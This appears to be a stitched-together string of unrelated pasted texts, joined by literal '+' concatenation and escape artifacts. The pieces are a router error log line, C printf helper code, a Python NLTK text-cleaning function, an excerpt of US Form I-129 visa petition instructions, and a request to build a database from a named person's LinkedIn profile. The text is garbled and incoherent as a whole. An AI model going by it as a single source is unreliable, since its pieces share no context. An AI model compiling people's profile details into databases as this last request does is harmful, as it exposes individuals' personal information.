B03\\_MX2008-PE6.RE0 fpc1 Cmerror Op Set: XMCHIP(0): XMCHIP(0): FI: Protect: Parity error for L2 freepool SRAM (List pointers get dropped)" +'#include "main.h"\n\n/\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* WRITE HANDLE \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*/\n/\\*\\*\n \\* handle\\_write\\_char - Prints a string\n \\* @c: char types.\n \\* @buffer: Buffer array to handle print\n \\* @flags: Calculates active flags.\n \\* @width: get width.\n \\* @precision: precision specifier\n \\* @size: Size specifier\n \\*\n \\* Return: Number of chars printed.\n \\*/\nint handle\\_write\\_char(char c, char buffer[],\n int flags, int width, int precision, int size)\n{ /\\* char is stored at left and paddind at buffer\'s right \\*/\n int i = 0;\n char padd = \' \';\n\n UNUSED(precision);\n UNUSED(size);\n\n if (flags & F\\_ZERO)\n padd = \'0\';\n\n buffer[i++] = c;\n buffer[i] = \'\\0\';\n\n if (width > 1)\n {\n buffer[BUFF\\_SIZE - 1] = \'\\0\';\n for (i = 0; i < width - 1; i++)\n buffer[BUFF\\_SIZE - i - 2] = padd;\n\n if (flags & F\\_MINUS)\n return (write(1, &buffer[0], 1) +\n write(1, &buffer[BUFF\\_SIZE - i - 1], width - 1));\n else\n return (write(1, &buffer[BUFF\\_SIZE - i - 1], width - 1) +\n write(1, &buffer[0], 1));\n }\n\n return (write(1, &buffer[0], 1));\n}\n\n/\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* WRITE NUMBER \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*/\n/\\*\\*\n \\* write\\_number - Prints a string\n \\* @is\\_negative: Lista of arguments\n \\* @ind: char types.\n \\* @buffer: Buffer array to handle print\n \\* @flags: Calculates active flags\n \\* @width: get width.\n \\* @precision: precision specifier\n \\* @size: Size specifier\n \\*\n \\* Return: Number of chars printed.\n \\*/\nint write\\_number(int is\\_negative, int ind, char buffer[],\n int flags, int width, int precision, int size)\n{\n int length = BUFF\\_SIZE - ind - 1;\n char padd = \' \', extra\\_ch = 0;\n\n UNUSED(size);\n\n if ((flags & F\\_ZERO) && !(flags & F\\_MINUS))\n padd = \'0\';\n if (is\\_negative)\n extra\\_ch = \'-\';\n else if (flags & F\\_PLUS)\n extra\\_ch = \'+\';\n else if (flags & F\\_SPACE)\n extra\\_ch = \' \';\n\n return (write\\_num(ind, buffer, flags, width, precision,\n length, padd, extra\\_ch));\n}\n\n/\\*\\*\n \\* write\\_num - Write a number using a bufffer\n \\* @ind: Index at which the number starts on the buffer\n \\* @buffer: Buffer\n \\* @flags: Flags\n \\* @width: width\n \\* @prec: Precision specifier\n \\* @length: Number length\n \\* @padd: Pading char\n \\* @extra\\_c: Extra char\n \\*\n \\* Return: Number of printed chars.\n \\*/\nint write\\_num(int ind, char buffer[],\n int flags, int width, int prec,\n int length, char padd, char extra\\_c)\n{\n int i, padd\\_start = 1;\n\n if (prec == 0 && ind == BUFF\\_SIZE - 2 && buffer[ind] == \'0\' && width == 0)\n return (0); /\\* printf(".0d", 0) no char is printed \\*/\n if (prec == 0 && ind == BUFF\\_SIZE - 2 && buffer[ind] == \'0\')\n buffer[ind] = padd = \' \'; /\\* width is displayed with padding \' \' \\*/\n if (prec > 0 && prec < length)\n padd = \' \';\n while (prec > length)\n buffer[--ind] = \'0\', length++;\n if (extra\\_c != 0)\n length++;\n if (width > length)\n {\n for (i = 1; i < width - length + 1; i++)\n buffer[i] = padd;\n buffer[i] = \'\\0\';\n if (flags & F\\_MINUS && padd == \' \')/\\* Asign extra char to left of buffer \\*/\n {\n if (extra\\_c)\n buffer[--ind] = extra\\_c;\n return (write(1, &buffer[ind], length) + write(1, &buffer[1], i - 1));\n }\n else if (!(flags & F\\_MINUS) && padd == \' \')/\\* extra char to left of buff \\*/\n {\n if (extra\\_c)\n buffer[--ind] = extra\\_c;\n return (write(1, &buffer[1], i - 1) + write(1, &buffer[ind], length));\n }\n else if (!(flags & F\\_MINUS) && padd == \'0\')/\\* extra char to left of padd \\*/\n {\n if (extra\\_c)\n buffer[--padd\\_start] = extra\\_c;\n return (write(1, &buffer[padd\\_start], i - padd\\_start) +\n write(1, &buffer[ind], length - (1 - padd\\_start)));\n }\n }\n if (extra\\_c)\n buffer[--ind] = extra\\_c;\n return (write(1, &buffer[ind], length));\n}\n\n/\\*\\*\n \\* write\\_unsgnd - Writes an unsigned number\n \\* @is\\_negative: Number indicating if the num is negative\n \\* @ind: Index at which the number starts in the buffer\n \\* @buffer: Array of chars\n \\* @flags: Flags specifiers\n \\* @width: Width specifier\n \\* @precision: Precision specifier\n \\* @size: Size specifier\n \\*\n \\* Return: Number of written chars.\n \\*/\nint write\\_unsgnd(int is\\_negative, int ind,\n char buffer[],\n int flags, int width, int precision, int size)\n{\n /\\* The number is stored at the bufer\'s right and starts at position i \\*/\n int length = BUFF\\_SIZE - ind - 1, i = 0;\n char padd = \' \';\n\n UNUSED(is\\_negative);\n UNUSED(size);\n\n if (precision == 0 && ind == BUFF\\_SIZE - 2 && buffer[ind] == \'0\')\n return (0); /\\* printf(".0d", 0) no char is printed \\*/\n\n if (precision > 0 && precision < length)\n padd = \' \';\n\n while (precision > length)\n {\n buffer[--ind] = \'0\';\n length++;\n }\n\n if ((flags & F\\_ZERO) && !(flags & F\\_MINUS))\n padd = \'0\';\n\n if (width > length)\n {\n for (i = 0; i < width - length; i++)\n buffer[i] = padd;\n\n buffer[i] = \'\\0\';\n\n if (flags & F\\_MINUS) /\\* Asign extra char to left of buffer [buffer>padd]\\*/\n {\n return (write(1, &buffer[ind], length) + write(1, &buffer[0], i));\n }\n else /\\* Asign extra char to left of padding [padd>buffer]\\*/\n {\n return (write(1, &buffer[0], i) + write(1, &buffer[ind], length));\n }\n }\n\n return (write(1, &buffer[ind], length));\n}\n\n/\\*\\*\n \\* write\\_pointer - Write a memory address\n \\* @buffer: Arrays of chars\n \\* @ind: Index at which the number starts in the buffer\n \\* @length: Length of number\n \\* @width: Wwidth specifier\n \\* @flags: Flags specifier\n \\* @padd: Char representing the padding\n \\* @extra\\_c: Char representing extra char\n \\* @padd\\_start: Index at which padding should start\n \\*\n \\* Return: Number of written chars.\n \\*/\nint write\\_pointer(char buffer[], int ind, int length,\n int width, int flags, char padd, char extra\\_c, int padd\\_start)\n{\n int i;\n\n if (width > length)\n {\n for (i = 3; i < width - length + 3; i++)\n buffer[i] = padd;\n buffer[i] = \'\\0\';\n if (flags & F\\_MINUS && padd == \' \')/\\* Asign extra char to left of buffer \\*/\n {\n buffer[--ind] = \'x\';\n buffer[--ind] = \'0\';\n if (extra\\_c)\n buffer[--ind] = extra\\_c;\n return (write(1, &buffer[ind], length) + write(1, &buffer[3], i - 3));\n }\n else if (!(flags & F\\_MINUS) && padd == \' \')/\\* extra char to left of buffer \\*/\n {\n buffer[--ind] = \'x\';\n buffer[--ind] = \'0\';\n if (extra\\_c)\n buffer[--ind] = extra\\_c;\n return (write(1, &buffer[3], i - 3) + write(1, &buffer[ind], length));\n }\n else if (!(flags & F\\_MINUS) && padd == \'0\')/\\* extra char to left of padd \\*/\n {\n if (extra\\_c)\n buffer[--padd\\_start] = extra\\_c;\n buffer[1] = \'0\';\n buffer[2] = \'x\';\n return (write(1, &buffer[padd\\_start], i - padd\\_start) +\n write(1, &buffer[ind], length - (1 - padd\\_start) - 2));\n }\n }\n buffer[--ind] = \'x\';\n buffer[--ind] = \'0\';\n if (extra\\_c)\n buffer[--ind] = extra\\_c;\n return (write(1, &buffer[ind], BUFF\\_SIZE - ind - 1));\n}' +'import re\nimport string\nimport unicodedata\nimport nltk\n\nnltk.download(\'stopwords\', quiet=True)\nnltk.download(\'averaged\\_perceptron\\_tagger\', quiet=True)\nnltk.download(\'wordnet\', quiet=True)\nnltk.download(\'omw-1.4\', quiet=True)\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word\\_tokenize\nfrom nltk.probability import FreqDist\nfrom nltk.corpus import wordnet\nfrom nltk.stem import WordNetLemmatizer \nfrom nltk.tag import pos\\_tag\nimport warnings\nwarnings.filterwarnings(\'ignore\')\n\ndef nltk\\_tag\\_to\\_wordnet(nltk\\_tag):\n if nltk\\_tag.startswith(\'J\'):\n return \'a\'\n elif nltk\\_tag.startswith(\'V\'):\n return \'v\'\n elif nltk\\_tag.startswith(\'N\'):\n return \'n\'\n elif nltk\\_tag.startswith(\'R\'):\n return \'r\'\n \ndef get\\_lemmatized(text):\n # Tokenize\n #tokenized\\_sent = word\\_tokenize(sentence)\n # Tag\n tags = nltk.pos\\_tag(text)\n lemmatizer = WordNetLemmatizer()\n # Produce Lemmas\n lemmatized\\_sentence = []\n for tag in tags:\n pos\\_wordnet = nltk\\_tag\\_to\\_wordnet(tag[1])\n if pos\\_wordnet is not None:\n lemma = lemmatizer.lemmatize(tag[0], pos\\_wordnet)\n else:\n lemma = lemmatizer.lemmatize(tag[0])\n lemmatized\\_sentence.append(lemma)\n return lemmatized\\_sentence\n\n#def remove\\_proper\\_nouns(tagged\\_sent):\n# edited\\_sent = [word for word, tag in tagged\\_sent if tag != \'NNP\' and tag != \'NNPS\']\n# return edited\\_sent\n\ndef remove\\_duplicates(tokens):\n """\n Remove duplicate words in a list of tokens without changing the token ordering.\n \n Parameters:\n tokens (list): List of tokens\n \n Returns:\n list: List of tokens without duplicate words\n """\n seen = set()\n return [x for x in tokens if not (x in seen or seen.add(x))]\n\ndef clean\\_text(text,remove\\_proper\\_nouns=True,remove\\_rare\\_words=True,rare\\_word\\_threshold=1):\n \n \n # Lowercase the text\n #text= [r.lower() for r in text]\n \n # Lowercase the text\n text = text.lower()\n \n # Remove HTML tags\n text = BeautifulSoup(text, "html.parser").get\\_text()\n #text = [re.sub(r\'<.\\*?>\', \'\', word) for word in text]\n \n # Replace \\n or \\\\n with empty space\n #text = text.replace(\'\\n\', \' \')\n #text = text.replace(\'\\\\n\', \' \')\n text = text.replace(\'\\n\', \' \').replace(\'\\\\n\', \' \')\n \n #text = [word.replace(r\'\\n\', \'\', word) for word in text]\n #text = [word.replace(r\'\\\\n\', \'\', word) for word in text]\n \n # Remove non-sensical symbols and tags\n text = re.sub(r\'\\[.\\*?\\]\', \'\', text)\n text = re.sub(r\'\\<.\\*?\\>\', \'\', text)\n \n # Remove extra whitespace\n text = \' \'.join(text.split()) \n \n # Remove URLs/http links\n #text = re.sub(r\'http\\S+\', \'\', text)\n #pattern= r\'\\w+:\\/{2}[\\d\\w-]+(\\.[\\d\\w-]+)\\*(?:(?:\\/[^\\s/]\\*))\\*\'\n #text = [re.sub(r\'http\\S+\', \'\', word) for word in text]\n pattern= r\'http[s]?://\\S+\'\n #text = [re.sub( pattern, \'\', word) for word in text]\n text = re.sub(pattern, \'\', text)\n \n # Remove hyper links\n #text = re.sub(r\'\\w+:\\/\\/\\S+\', \'\', text)\n #text = [re.sub(r\'www\\.\\S+\', \'\', word) for word in text]\n pattern= r\'www\\.\\S+\'\n text = re.sub(pattern, \'\', text)\n \n # rempve bitly links\n #text = [re.sub(r\'bit.ly/\\S+\', \'\', word) for word in text]\n pattern= r\'bit.ly/\\S+\'\n text = re.sub(pattern, \'\', text)\n \n # Remove emails\n #text = re.sub(r\'\\S+@\\S+\', \'\', text)\n #text = [re.sub(r\'\\S+@\\S+\', \'\', word) for word in text]\n #text = [re.sub(r\'[\\w\\.-]+@[\\w\\.-]+\', \'\', word) for word in text]\n pattern= r\'\\S+@\\S+\'\n text = re.sub(pattern, \'\', text)\n \n pattern= r\'[\\w\\.-]+@[\\w\\.-]+\'\n text = re.sub(pattern, \'\', text)\n \n ##=====================================================##\n \n text = nltk.word\\_tokenize(text)\n \n ##====================================##\n extracted\\_tokens = []\n remaining\\_tokens = []\n\n for token in text:\n match = re.search(r\'laptop\', token)\n if match:\n extracted\\_tokens.append(match.group())\n remaining\\_tokens.append(token.replace(match.group(), \'\'))\n else:\n extracted\\_tokens.append(\'\')\n remaining\\_tokens.append(token)\n \n #print(extracted\\_tokens)\n #print(remaining\\_tokens)\n\n text = [t for t in remaining\\_tokens if t]\n [text.append(t) for t in extracted\\_tokens if t]\n del remaining\\_tokens, extracted\\_tokens\n #print(text)\n \n ##====================================##\n \n # Remove stopwords\n #nltk.download(\'stopwords\')\n stop\\_words = set(stopwords.words(\'english\'))\n #add custom words\n new\\_stopwords=[\'in\',\'and\',\'I\',\'A\',\'http\',\'And\',\'So\',\'arnt\',\'This\',\'When\',\'It\',\n \'many\',\'Many\',\'so\',\'cant\',\'Yes\',\'yes\',\'No\',\'no\',\'These\',\'these\',\n \'mailto\',\'regards\',\'ayanna\',\'like\',\'email\',\'thanks\', \'thank\', \'thank you\',\'url\',\n \'id\',\'he\']\n combined\\_stopwords=stop\\_words.union(new\\_stopwords)\n #text\\_tokens = nltk.word\\_tokenize(text)\n text = [word for word in text if not word in combined\\_stopwords]\n \n # Remove punctuation\n #text = text.translate(str.maketrans("", "", string.punctuation))\n text = [re.sub(r\'[^\\w\\s]\', \' \', word) for word in text]\n \n # Remove special characters\n #text = re.sub(r\'[^\\w\\s]\', \'\', text)\n text = [re.sub(r"[^a-zA-Z0-9]+", \'\', word) for word in text]\n pat = r\'[^a-zA-z0-9.,!?/:;\\"\\\'\\s]\' \n text = [re.sub(pat, \'\', word) for word in text]\n \n # Remove special symbols\n #text = re.sub(r\'[\\W]\', \' \', text)\n text = [re.sub(r\'[\\[\\]\\(\\)\\{\\}\\|@\\\\/:;><\\\'\\,]+\', \' \', word) for word in text]\n \n \n # Remove numbers\n #text = re.sub(r\'\\d+\', \'\', text)\n text = [re.sub(r\'\\d+\', \'\', word) for word in text]\n \n # Remove extra whitespace\n text = [re.sub(r\'\\s+\', \' \', word) for word in text]\n \n # Remove non-sensical symbols/tags\n text = [re.sub(r\'[^\\w\\s]\', \'\', word) for word in text]\n\n # Remove short words\n #text = \' \'.join([word for word in text.split() if len(word) > 2])\n # Remove short words whose length is < 2, they\'re probably not useful\n text = [word for word in text if len(word) >= 2]\n\n # Remove accentuated characters\n #text = unicodedata.normalize(\'NFKD\', text).encode(\'ascii\', \'ignore\').decode(\'utf-8\', \'ignore\')\n text = [unicodedata.normalize(\'NFKD\', word).encode(\'ASCII\', \'ignore\').decode(\'utf-8\') for word in text]\n \n # Remove proper nouns\n if remove\\_proper\\_nouns:\n tagged\\_words = pos\\_tag(text)\n text = [word for word, tag in tagged\\_words if tag != \'NNP\' and tag != \'NNPS\']\n #text = remove\\_proper\\_nouns(tagged\\_sent)\n\n # lemmatize the text\n #tagged\\_tokens = nltk.pos\\_tag(text)\n #lemmatizer = WordNetLemmatizer()\n text = get\\_lemmatized(text)\n \n # Remove duplicate words\n #text = list(set(text))\n text = remove\\_duplicates(text)\n \n # Remove non-ASCII characters\n text = [token.encode(\'ascii\', \'ignore\').decode(\'utf-8\') for token in text]\n \n # Remove rare words\n# if remove\\_rare\\_words:\n# freq\\_dist = FreqDist(text)\n# text = [token for token in text if freq\\_dist[text] > rare\\_word\\_threshold]\n\n if remove\\_rare\\_words:\n word\\_freq = FreqDist(text)\n rare\\_words = [word for word in text if word\\_freq[word] < rare\\_word\\_threshold]\n text = [word for word in text if word not in rare\\_words]\n \n ##=================================================##\n \n ## Some specific word/ phrase removal\n \n # Remove "Thanks,InSrikanth" from the token list using regex\n # Regex pattern to remove "Thanks,InSrikanth" after word tokenization\n #pattern = r\'\\bthanks,\\w+\\b\'\n \n #pattern = r\'\\bthanks,\\s\\*\\w+\\b\'\n #pattern = r"\\bthanks\\S\\*\\b"\n pattern = re.compile(r\'\\bthanks?\\b.\\*\')\n text = [re.sub(pattern, \'\', token) for token in text]\n \n \n ##=================================================##\n \n #print(text)\n #print(combined\\_stopwords)\n \n new\\_stopwords=[\'in\',\'and\',\'I\',\'A\',\'http\',\'And\',\'So\',\'arnt\',\'This\',\'When\',\'It\',\n \'many\',\'Many\',\'so\',\'cant\',\'Yes\',\'yes\',\'No\',\'no\',\'These\',\'these\',\n \'mailto\',\'regards\',\'ayanna\',\'like\',\'email\',\'thanks\', \'thank\', \'thank you\',\'url\',\n \'id\',\'he\']\n combined\\_stopwords=stop\\_words.union(new\\_stopwords)\n \n text = [word for word in text if not word in combined\\_stopwords]\n \n # Remove empty string \n while("" in text):\n text.remove("")\n \n \n return text' +'. A crewman (D);\n4. A fiancé(e) (K-1) or his or her dependent (K-2);\n5. A spouse of a U.S. citizen (K-3) or his or her dependent (K-4);\n6. A J-1 exchange visitor who was admitted in J-1 status for the purpose of receiving graduate medical training;\n7. A J-1 exchange visitor subject to the foreign residence requirement who has not received a waiver of that requirement;\nand\n8. An M-1 student to an H classification, if training received as an M-1 helped him or her qualify for H classification.\nPart 1. Petition Always Required\nThe following classifications always require a petition.\nThe initial evidence listed below and the initial evidence listed under the instructions for a change of status or extension of\nstay must be included with a petition for a new or concurrent employment or for an extension where there is a change in\npreviously approved employment.\nHowever, a petition for extension based on unchanged, previously approved employment should only be filed with the\ninitial evidence required in the extension of stay instructions.\nE-2 CNMI\nAn E-2 CNMI investor is an alien who seeks to enter or remain in the Commonwealth of the Northern Mariana\nIslands (CNMI) in order to maintain an investment in the CNMI that was approved by the CNMI government\nprior to November 28, 2009. An E-2 CNMI investor classification is specifically limited to an alien investor who\nhas previously been granted a qualifying long term investor status under the laws of the CNMI. This classification\nallows an eligible alien to be lawfully present in the CNMI in order to maintain the investment during the\ntransition period from CNMI to Federal immigration law. An investor’s nationality is not a qualifying factor in the\nissuance of an E-2 CNMI investor classification.\nThis classification expires on December 31, 2029\nA petition for the initial issuance of an E-2 CNMI investor classification must be filed within 2 years of the date the E-2\nCNMI investor classification became available, which was January 18, 2011. Petitions for the initial issuance of the E-2\nCNMI filed after January 18, 2013 will be rejected.\nRequests for extension of the E-2 CNMI investor classification may be granted, in increments of not more than 2 years,\nuntil December 31, 2029.\nApplications for the dependents of E-2 CNMI investors must be filed on Form I-539, Application to Extend/Change\nNonimmigrant Status.\nWrite E-2C in the classification block.\nThe petition must be filed with documentary evidence of:\n1. Continuous maintenance of the terms and conditions of E-2 CNMI investor nonimmigrant status;\n2. Physical presence in the CNMI at the time of filing of the extension of stay request; and\n3. The fact that the beneficiary will not leave during the pendency of the extension of stay request.\nH-1B Nonimmigrants (Three Types)\nThe H-1B classification is for aliens coming to the United States temporarily to perform services in a specialty\noccupation.\nWrite H-1B in the classification block.\nForm I-129 Instructions 11/02/22 Page 8 of 30\nA specialty occupation is one that requires the theoretical and practical application of a body of highly specialized\nknowledge to fully perform the occupation and requires the attainment of a bachelor’s or higher degree in a specific\nspecialty, or its equivalent, as a minimum for entry into the occupation in the United States.\nThe petition must be filed by a U.S. employer or a U.S. agent and must be filed with:\n1. Evidence that a labor condition application (LCA) has been certified by the U.S. Department of Labor;\n2. Evidence showing that the proposed employment qualifies as a specialty occupation;\n3. Evidence showing that the beneficiary has the required degree by submitting either:\nA. A copy of the beneficiary’s U.S. bachelor’s or higher degree as required by the specialty occupation;\nB. A copy of a foreign degree and evidence that it is equivalent to the U.S. degree; or\nC. Evidence of education, specialized training, and/or progressively responsible experience that is equivalent to the\nrequired U.S. degree.\n4. A copy of any required license or other official permission to practice the occupation in the state of intended\nemployment; and\n5. A copy of any written contract between the petitioner and the beneficiary or a summary of the terms of the oral\nagreement under which the beneficiary will be employed.\n6. If you are filing an H-1B cap petition for a fiscal year that H-1B registration is required, you must provide a valid\nBeneficiary Confirmation Number for the beneficiary included in this petition, along with a copy of the H-1B\nRegistration Selection Notice.\nNOTE: This evidence requirement is not applicable to H-1B2 petitions.\n7. Off-site Assignment of H-1B Beneficiaries: Petitioners seeking to place the H-1B beneficiary off-site at a location\nother than their own location must answer general questions regarding this assignment in Part 5., Basic Information\nAbout the Proposed Employment and Employer. Petitioners should advise the H-1B beneficiary of the off-site\nwork placement.\nAn H-1B cap-subject petition (including a petition eligible for the advanced degree exemption) only will be accepted for\nfiling if the underlying registration (or the petition itself, if the registration requirement is suspended) is selected toward\nthe annual numerical allocations. When applicable, registrations (or petitions) will be ranked and selected based on\nthe Occupational Employment Survey (OES) wage level that the beneficiary’s proffered wage equals or exceeds for the\nrelevant Standard Occupational Classification (SOC) code in their area(s) of intended employment. Therefore, in the\nH-1B and H-1B1 Data Collection and Filing Fee Exemption Supplement, Item Number 11., you must specify the\nhighest OES wage level that the beneficiary’s proffered wage equals or exceeds for the relevant SOC code in the area(s)\nof intended employment. The OES wage level selected in Part. 5, Item Number 11., must reflect the corresponding OES\nwage level as of the date that the registration underlying the petition was submitted. However, if the registration process\nis suspended, the OES wage level selected in Part. 5, Item Number 11., must reflect the corresponding OES wage level\nas of the date that the petition is filed.\nThe proffered wage is the wage that you intend to pay the beneficiary as indicated on the petition. The SOC code and\narea(s) of intended employment should be indicated on the LCA filed with the petition.\nNOTE: If the beneficiary will work in multiple locations, or in multiple positions if you are filing the petition as an agent,\nyou must select the lowest corresponding OES wage level that the proffered wage will equal or exceed. If the proffered\nwage is expressed as a range, you must select the OES wage level based on the lowest wage in the range. If you are\nrelying on a prevailing wage that is not based on the OES survey, and the proffered wage is less than the corresponding\nlevel I OES wage, you must select the “Wage Level I and below” box. You may not lower the proffered wage listed on the\npetition to an amount that would be equivalent to a lower wage level than the wage level reflected on the selected H-1B\nregistration. If the relevant SOC code does not have current OES prevailing wage information available, you should\nfollow U.S. Department of Labor guidance on prevailing wage determinations to determine which OES wage level to\nselect.\nThe H-1B classification is also for aliens coming to the United States to perform services of an exceptional nature\nrelating to a cooperative research and development project administered by the U.S. Department of Defense\n(DOD).\nForm I-129 Instructions 11/02/22 Page 9 of 30\nWrite H-1B2 in the classification requested block.\nA U.S. employer or U.S. agent may file the petition.\nThe petition must be filed with:\n1. A description of the proposed employment;\n2. Evidence that the services and project meet the above conditions;\n3. A statement listing the names of aliens who are currently or have been employed on the project within the past year,\nalong with their dates of employment;\n4. Evidence that the beneficiary holds a bachelor’s or higher degree or its equivalent in the field of employment; and\n5. A verification letter from the DOD project manager. Details about the specific project are not required.\nThe H-1B classification is also for aliens of distinguished merit and ability in the field of fashion modeling.\nWrite H-1B3 in the classification block.\nThe petition must be filed by a U.S. employer or U.S. agent. The petitioner must submit evidence that establishes the\nbeneficiary will perform services at events or productions of a distinguished reputation. Such evidence includes:\n1. Documentary evidence (such as certifications, affidavits, and reviews) to establish the beneficiary is a fashion model\nof distinguished merit and ability. Any affidavits submitted by present or former employers or recognized experts\nmust set forth their expertise of the affiant and the manner in which the affiant acquired such information; and\n2. Copies of any written contracts between the petitioner and the beneficiary or, if there is no written agreement, a\nsummary of the terms of the oral agreement under which the beneficiary will be employed.\nGeneral H-1B Requirements\nThree relevant laws impacting the filing of H-1B and/or L visa petitions; include:\n1. The American Competitiveness and Workforce Improvement Act (ACWIA), Public Law 105-277 (signed into\nlaw on October 21, 1998);\n2. The H-1B Visa Reform Act of 2004 (signed into law on December 8, 2004); and\n3. Public Law 114-113 (signed into law on December 18, 2005).\nBecause of ACWIA, H-1B and H-1B1 free trade nonimmigrant petitioners must complete the H-1B Data Collection and\nFiling Fee Exemption Supplement, which is part of this petition. We use this supplement (formerly issued separately as\nForm I-129W) to collect additional information about the H-1B nonimmigrant workers and the H-1B petitioners, and to\ndetermine the applicability of fees mandated by ACWIA (INA section 214(c)(9)), the H-1B1 Visa Reform Act of 2004\n(INA section 214(c)(12)), and Public Law 114-113.\nA petitioner seeking initial approval of H-1B or L nonimmigrant status for a beneficiary, or seeking approval to employ an\nH-1B or L nonimmigrant currently working for another employer, must submit an additional $500 Fraud Prevention and\nDetection fee. This fee does not apply to H-1B1 petitions. The Form I-129 will serve as the vehicle for collection of the\n$500 fee.\nThose petitioners required to submit the $500 Fraud Prevention and Detection fee are also required to submit either an\nadditional $4,000 (H-1B) or $4,500 (L-1) fee mandated by Public Law 114-113, if:\n1. The petitioner employs 50 or more individuals in the United States;\n2. More than 50 percent of those employees are in H-1B or L-1A or L-1B nonimmigrant status; and\n3. The petition is filed on or after December 18, 2015.\nThe Fraud Prevention and Detection Fee and Public Law 114-113 Fee, when applicable, may not be waived. Each\nfee should be submitted by separate check or money order.\nTo determine if they are subject to any of these fees, petitioners must complete the H-1B and H1B1 Data Collection and\nFiling Fee Exemption Supplement discussed below.\nForm I-129 Instructions 11/02/22 Page 10 of 30\nH-1B and H-1B1 Data Collection and Filing Fee Exemption Supplement\nA U.S. employer or U.S. agent who seek to place a beneficiary in H-1B classification (including H-1B1 classification for\nfree trade aliens from Chile and Singapore) must file this supplement.\nThe supplement is used to:\n1. Collect additional information about the H-1B employer and beneficiary; and\n2. Determine the appropriate American Competitiveness and Workforce Improvement Act (ACWIA) fee. The ACWIA\nFee is a training fee meant to fund the training of U.S. workers. But if the employer has 25 or fewer full-time\nemployees, they must pay only one-half of the required fee at INA 214(c)(9)(B). This supplement also helps to\ndetermine whether the beneficiary is subject to the H-1B numerical limitation (also known as the H-1B Cap). Please\nnote that the ACWIA fee may not be assessed to the beneficiary.\nWho is required to submit this supplement?\nA U.S. employer or U.S. agent seeking to classify a beneficiary as an H-1B or H-1B1 Free Trade Nonimmigrant worker\nmust file this supplement with the Form I-129 and the appropriate fee. (See What is the Filing Fee, for more information\nabout the appropriate fee.)\nCompleting Section 1. of the H-1B and H-1B1 Data Collection and Filing Fee Exemption Supplement Form\nAll petitioners who seek to classify a beneficiary as an H-1B or H-1B1 free trade nonimmigrant worker must answer every\nquestion in Item Number 1. of Section 1., General Information. Guidance on how to answer these questions follows.\n1. H-1B dependent employer. An “H-1B dependent employer” is an employer that:\nA. Has 25 or fewer full-time-equivalent employees who are employed in the United States and employs more than\nseven H-1B nonimmigrants;\nB. Has at least 26 but not more than 50 full-time-equivalent employees who are employed in the United States and\nemploys more than 12 H-1B nonimmigrants; or\nC. Has at least 51 full-time equivalent employees who are employed in the United States and employs H-1B\nnonimmigrants in a number that is equal to at least 15 percent of the number of such full-time-equivalent\nemployees.\n2. Willful violators. A willful violator is an employer whom the U.S. Secretary of Labor has found, after notice and\nopportunity for a hearing, to have willfully failed to meet a condition of the labor condition application described in\nsection 212(n) of the Immigration and Nationality Act.\n3. Exempt H-1B nonimmigrant. An “exempt H-1B nonimmigrant” is an H-1B nonimmigrant who:\nA. Receives wages (including cash bonuses and similar compensation) at an annual rate equal to at least $60,000; or\nB. Has attained a master’s degree or higher (or its equivalent) in a specialty related to the intended employment.\n4. Highest level of formal education. In Item Number 2. of Section 1., place an “X” in the appropriate box that most\nclosely reflects the highest level of formal education the beneficiary has attained.\n5. Major/primary field of study. Use the beneficiary’s degree transcripts to determine the primary field of study. DO\nNOT consider work experience to determine the beneficiary’s major field of study.\n6. Master’s or higher degree from a U.S. institution of higher education. Indicate whether or not the beneficiary has\nearned a master’s or higher degree from a U.S. institution of higher education, as defined in 20 U.S.C. section 1001(a).\n7. Rate of pay per year. The “rate of pay’’ is the salary or wages paid to the beneficiary. Salary or wages must be\nexpressed in an annual full-time amount and do not include non-cash compensation or benefits. For example, an\nH-1B worker is to be paid $6,500 per month for a 4-month period and also provided separately a health benefits\npackage and transportation during the 4-month period. The yearly rate of pay if he or she were working for a full year\nwould be 12 times the monthly rate, or $78,000. This amount does not include health benefits or transportation costs.\nThe figure $78,000 should be entered on this form as the rate of pay.' +"create linked database for your linkedin connections and start 1st entry into table for following text of profile : Ehab Al Khiary 1st degree connection1st\nCEO | Founder | Investor | Board Member\n\nERC International Investment\n\nINSEAD\nSaudi Arabia Contact info\n500+ connections\nRami Al Karmi, Vish Narain, and 1 other mutual connectionRami Al Karmi, Vish Narain, and 1 other mutual connection\n\nMessage\n\nMore\nAboutAbout\nMr. Al Khiary is highly experienced executive in the field of the Information Technologies and Telecommunications. He is known for his involvements and contributions in the ICT field for over 20 years, both as a government employee, executive, entrepreneur, investor, and board member of several companies. Mr. Al Khiary is highly experienced executive in the field of the Information Technologies and Telecommunications. He is known for his involvements and contributions in the ICT field for over 20 years, both as a government employee, executive, entrepreneur, investor, and board member of several companies. \nActivityActivity\n20,322 followers20,322 followers\n\nEhab hasn't posted latelyEhab hasn't posted lately\nEhab’s recent posts and comments will be displayed here.Ehab’s recent posts and comments will be displayed here.\nShow all activity\nExperienceExperience\nCo-FounderCo-Founder\nERC International Investment ERC International Investment \nJul 2017 - Present · 5 yrs 9 mosJul 2017 - Present · 5 yrs 9 mos\nCayman IslandsCayman Islands\nERC is an early stage investment company with tech focused in the MENA region.\nThe objective is to leverage close to 100 years of the founders’ experience and relationship to expedite the growth of these startups. Today, our portfolio ranges from digital gifting, logistics, insurtech, and FintechERC is an early stage investment company with tech focused in the MENA region. The objective is to leverage close to 100 years of the founders’ experience and relationship to expedite the growth of these startups. Today, our portfolio ranges from digital gifting, logistics, insurtech, and Fintech…see more\nYOUGotaGift logo\nChief Growth OfficerChief Growth Officer\nYouGotaGiftYouGotaGift\nJan 2020 - Present · 3 yrs 3 mosJan 2020 - Present · 3 yrs 3 mos\nSaudi ArabiaSaudi Arabia\nYouGotaGift is an end to end digital platform for processing and distributing digital Gift Cards from top retailers in the Middle East. As a Fintech & Payment provider, YouGotaGift delivers prepaid digital cards to consumers (B2C) and businesses (B2B) including employee rewards, customers rewards, channel incentives and loyalty.YouGotaGift is an end to end digital platform for processing and distributing digital Gift Cards from top retailers in the Middle East. As a Fintech & Payment provider, YouGotaGift delivers prepaid digital cards to consumers (B2C) and 